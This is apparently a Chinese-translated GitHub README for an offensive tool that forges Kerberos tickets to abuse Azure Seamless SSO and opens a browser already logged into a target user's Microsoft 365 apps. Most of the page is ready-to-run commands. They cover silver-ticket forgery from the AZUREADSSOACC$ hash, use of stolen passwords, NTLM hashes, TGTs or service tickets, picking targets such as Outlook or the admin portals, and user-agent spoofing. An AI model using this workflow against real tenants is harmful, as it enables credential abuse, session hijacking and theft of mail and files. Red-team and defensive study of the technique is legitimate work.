dejisec/seamless-sso-browser

GitHub: dejisec/seamless-sso-browser

该工具利用 Kerberos 票据伪造技术实现 Azure Seamless SSO 认证,并自动启动已通过认证的 Firefox 浏览器以访问目标用户的 M365 应用会话。

Stars: 0 | Forks: 1

# seamless-sso-browser 为 Azure Seamless SSO 伪造 Kerberos 票据,并让你进入目标用户的浏览器会话。给它一个哈希、一个密码、一个 TGT —— 无论你有什么。它会处理好票据并启动已通过身份验证的 Firefox。 ## 前置条件 - 带有 GSSAPI 库的 Linux(Kali 开箱即用) - Firefox(`sudo apt install firefox-esr`) - 目标租户上已启用 Seamless SSO ## 用法 直接运行: ``` uvx git+https://github.com/dejisec/seamless-sso-browser -h ``` 或克隆并运行: ``` git clone https://github.com/dejisec/seamless-sso-browser.git cd seamless-sso-browser uv sync uv run seamless-sso-browser -h ``` ## 示例 ### 你拥有 AZUREADSSOACC$ 哈希 经典的银票据(silver ticket)路径。无需联系 DC。 ``` seamless-sso-browser \ --domain domain.local \ --user-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1234 \ --user jsmith \ --adssoacc-ntlm ``` 如果账户仅支持 AES,请使用 `--adssoacc-aes`。 ### 你拥有用户的密码或哈希 与 DC 通信以获取 TGT,然后为两个 SSO SPN 请求服务票据。 ``` seamless-sso-browser \ --domain domain.local \ --dc-ip 10.0.0.1 \ --user jsmith \ --password 'P@ssw0rd' ``` 同样适用于 `--user-password-hash ` 或 `--user-aes-key `。 ### 你拥有 TGT 可能来自 Rubeus,也可能是磁盘上的 ccache。将其传入,工具会向 DC 请求 SSO 服务票据。 ``` seamless-sso-browser \ --domain domain.local \ --dc-ip 10.0.0.1 \ --tgt /path/to/tgt.ccache ``` 接受 ccache、kirbi 或 base64。 ### 你拥有 TGS 已经获取了服务票据?不需要 DC。 ``` seamless-sso-browser \ --domain domain.local \ --tgs /path/to/tgs.kirbi ``` 接受 ccache、kirbi 或 base64。 ### 你拥有 ccache 文件 跳过所有步骤,只需指向它: ``` seamless-sso-browser \ --domain domain.local \ --ccache /path/to/combined.ccache ``` ### 目标不是 Outlook 默认打开 Outlook。使用 `--target` 选择其他应用: ``` seamless-sso-browser \ --domain domain.local \ --ccache /path/to/combined.ccache \ --target sharepoint --tenant contoso ``` 预设:`outlook`(默认)、`sharepoint`(需要 `--tenant`)、`teams`、`onedrive`、`admin`、`entra`、`azure`。 你也可以传入原始 URL:`--target https://custom-app.contoso.com`。 ### User-agent 该工具默认总是伪装成 Windows 11 上的 Edge,如有需要,请使用 `--useragent "..."` 进行覆盖。 ## 所有参数 ### 身份验证(任选其一) | 参数 | 描述 | |------|------------| | `--adssoacc-ntlm` | AZUREADSSOACC$ NTLM 哈希(银票据,无需 DC) | | `--adssoacc-aes` | AZUREADSSOACC$ AES 密钥(银票据,无需 DC) | | `--password` | 用户密码(需要 DC) | | `--user-password-hash` | 用户 NTLM 哈希,`[LMHASH:]NTHASH`(需要 DC) | | `--user-aes-key` | 用户 AES 密钥(需要 DC) | | `--tgt` | 预先获取的 TGT,文件或 base64(需要 DC) | | `--tgs` | 预先获取的 TGS,文件或 base64(无需 DC) | | `--ccache` | 预先伪造的 ccache 文件(跳过所有步骤) | ### 身份与域 | 参数 | 描述 | |------|------------| | `--domain` | AD 域(始终必填) | | `--user` | 目标 sAMAccountName | | `--user-sid` | 完整的用户 SID(银票据伪造必填) | | `--upn` | 仅用于显示的 UPN | | `--dc-ip` | 域控地址 | ### 目标与浏览器 | 参数 | 描述 | |------|------------| | `--target` | 应用预设或 URL(默认:`outlook`) | | `--tenant` | M365 租户名(用于 `--target sharepoint`) | | `--useragent` | 自定义 user-agent(默认:Windows 11 上的 Edge) | | `--firefox-path` | Firefox 二进制文件路径 | | `--no-cleanup` | 退出后保留临时文件 | | `--verbose` | 打印 ccache 路径、krb5.conf 和 Firefox 命令 | ## 故障排除 首先使用 `--verbose --no-cleanup` 运行。它会打印 ccache 路径、krb5.conf 内容以及确切的 Firefox 命令,以便你手动排查问题。 如果 SPNEGO 协商未进行,请设置这些变量并从同一 shell 重新启动 Firefox: ``` export NSPR_LOG_MODULES=negotiateauth:5 export NSPR_LOG_FILE=/tmp/firefox_spnego.log export KRB5_TRACE=/dev/stderr ``` 常见问题:时钟偏差超过 5 分钟、Firefox 未读取 ccache(检查 `KRB5CCNAME`),或者尽管票据有效,但 Conditional Access 阻止了会话。 ## 致谢 灵感来自 Malcrove 的 [SeamlessPass](https://github.com/Malcrove/SeamlessPass),该项目作为 CLI 工具执行 Seamless SSO 流程并为你提供 OAuth token。本项目采用了相同的理念,但将其接入到了浏览器会话中,因此你可以直接进入 Outlook、SharePoint 或目标有权访问的任何其他应用。
标签:Azure AD, HTTP, Modbus, 会话劫持, 模拟器, 票据伪造, 逆向工具